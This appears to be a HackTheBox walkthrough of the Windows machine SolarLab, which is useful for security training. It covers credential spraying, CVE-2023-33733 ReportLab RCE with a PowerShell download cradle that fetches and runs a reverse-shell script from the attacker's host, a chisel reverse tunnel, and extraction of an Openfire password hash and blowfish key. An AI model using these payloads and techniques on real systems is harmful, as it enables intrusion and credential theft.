June 9, 2024HackTheBoxWindowsMediumCVE-2023-33733CVE-2023-32315Openfire 12 min read
SolarLab starts with SMB enumeration revealing an Excel file containing usernames and passwords. After subdomain discovery and credential spraying against ReportHub, we exploit CVE-2023-33733 (ReportLab RCE via HTML-to-PDF injection) for a foothold as blake. Lateral movement to the openfire user goes through CVE-2023-32315 (Openfire auth bypass). Root is reached by decrypting the Openfire admin password from the embedded database using a blowfish key.
Port 6791 also redirects automatically to report.solarlab.htb. Add it to /etc/hosts:
ReportHub — Credential Attack
Port 6791 serves a Login to ReportHub page:
Testing the credentials from the xlsx — the error messages are specific. User not found vs User authentication error allows username enumeration. AlexanderK and ClaudiaS exist but passwords are wrong:
Burp Intruder — credential spray
Use Burp Intruder with a cluster bomb attack to mix and match usernames and passwords:
No valid credentials found in the first spray. Looking at the username pattern more carefully — AlexanderK, ClaudiaS — suggests First name + Last initial. The xlsx shows blake.byte so the username should be BlakeB:
Burp — BlakeB hit
# Request length 660 (different from others at 2419) = valid loginBlakeB : ThisCanB3typedeasily1@
Valid credentials: BlakeB:ThisCanB3typedeasily1@
Foothold — CVE-2023-33733 (ReportLab RCE)
After logging in, ReportHub exposes four features — Leave Request, Training Request, Home Office Request, and Travel Approval. All generate PDFs:
The PDF generator uses ReportLab which is vulnerable to CVE-2023-33733 — HTML injection in the justification field leads to RCE via the PDF rendering engine:
Trigger a reverse shell via a PowerShell download cradle embedded in the exploit:
CVE-2023-33733 payload
# Injected into the justification field (HTML rendered by ReportLab)powershell.exe -c iex (iwr -UseBasicParsing http://10.10.14.63/Invoke-PowerShellTcpEx.ps1)SP1R4@kali)-[~]└$ sudo nc -lvnp 5555listening on [any] 5555 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.16] 53730
Windows PowerShell running as user blake on SOLARLABPS C:\Users\blake\Documents\app>
🚩 User flag captured as solarlab\blake.
Lateral Movement — blake → openfire
Credential discovery in app database
Inside C:\Users\blake\Documents\app\instance, there's a users.db SQLite file containing all application credentials:
Checking active connections and the C:\Users directory reveals an openfire user and Openfire listening on 127.0.0.1:9090:
WinPEAS confirms the credentials in utils.py and reveals nothing additional:
The Openfire directory is inaccessible as blake — we need the openfire user first. Forward port 9090 using chisel:
chisel — port forward 9090
# Kali — start chisel serverSP1R4@kali)-[~]└$ chisel server --socks5 --reverse -p 1234# Target — connect back and tunnel port 9090PS C:\Users\blake\Documents\app> .\chiselx86_64.exe client 10.10.14.63:1234 R:9090:127.0.0.1:9090
As openfire, we can now access the Openfire directory. The embedded-db directory contains the database files:
The openfire.script contains the OFUSER table with the admin's encrypted password:
admin encrypted password
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4Ye...becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb',...)
Finding the blowfish key
The OFPROPERTY table in the same script contains the passwordKey used for blowfish encryption:
passwordKey from OFPROPERTY
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
Decrypting the admin password
Use the Java-based c0rdis/openfire_decrypt tool (the PHP version doesn't work):